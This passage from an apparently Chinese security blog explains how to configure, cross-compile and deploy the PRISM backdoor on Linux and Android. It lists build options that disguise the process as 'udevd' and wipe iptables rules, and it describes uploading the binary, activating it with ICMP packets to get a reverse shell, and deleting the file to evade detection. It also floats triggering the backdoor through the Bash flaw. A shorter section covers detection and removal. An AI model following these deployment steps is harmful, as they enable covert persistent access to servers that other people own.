 50 #define MOTD             "PRISM v"VERSION" started\n\n# "  //后门机连接时显示的消息
 51 #define SHELL            "/bin/sh"  //shell执行的位置
 52 #define PROCESS_NAME     "udevd"   //创建的进程名称

 交叉编译prism后门

gcc <..OPTIONS..> -Wall -s -o prism prism.c

 可用的参数<OPTION>选项:

-DDETACH   //后台运行
-DSTATIC   //只用STATIC模式(默认是ICMP模式)
-DNORENAME   //不再重命名进程名
-DIPTABLES   //清除所有iptables规则表项

例如:

gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

不同平台下的交叉编译需要相关库文件:

Android平台:

apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism

Linux 64bit

apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

Linux 32bit

apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

 编译好之后,可以查看后门的配置信息:

bubuko.com,布布扣

运行prism后门测试

  将该后门上传到远程后门主机,再使用sendPacket.py脚本(需以root运行)在本地发送激活包到后门主机,本地监听相关端口等待后门主机反弹连接:(这里要注意,最好时将prism.c文件上传到后门主机再进行编译,这样才更容易成功。)

bubuko.com,布布扣

  这对于采用了很多限制(比喻限制了SSH)远程服务器来说,使用该后门是不错的。而且prism服务端运行后会在后台一直运行,除非服务器重启。所以,后门开启后删除自身文件将不容易被发现。

简单讲解prism后门的清除

  首先,上面说了,该后门重启会失效,除非写在开机启动项里。所以攻击者想要继续留住后门,肯定会这样做,故首先要检查开机启动项里(比如/etc/rc.local,这可是root权限!)是否有未知启动脚本。联想起前段时间的BASH漏洞,有一个不错的思路是在cgi-bin里的某个脚本里作改变,当访问这个脚本时就可以触发这个prism后门,这样就可以不用之前的python脚本来触发了。厄,貌似这就讲到攻击了-_- 不管怎样,先得有点见识靶。搞不好还真有人会这样用呢。

  其次,虽然这个后门可以改变后门进程名,但是还是有进程存在,所以要查出这个未知进程。可以用工具查找,找到kill掉就OK了。

  最后,要设置好严格的iptables规则。该后门可以按攻击者的设置尝试清除iptables规则,所以要定期查看iptables规则是否改变。

  还有,该后门是使用ICMP协议的PING包激活的,SO,如果还真怕PRISM的会,那就过滤掉ICMP包靶,走着瞧靶v_v

  但是,站在攻击者的角度来看,想要防范prism后门还是比较难的。正如其作者所描述的那样:“No listening ports”,啥意思?就是想用啥端口连接都可以,额测试过了: ) 这么说来,貌似上上一条有失效了-_-

  所以,综上所属,最好的办法就是做好预防工作,防止被入侵。为啥?因为我是傻逼{-_-}

分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...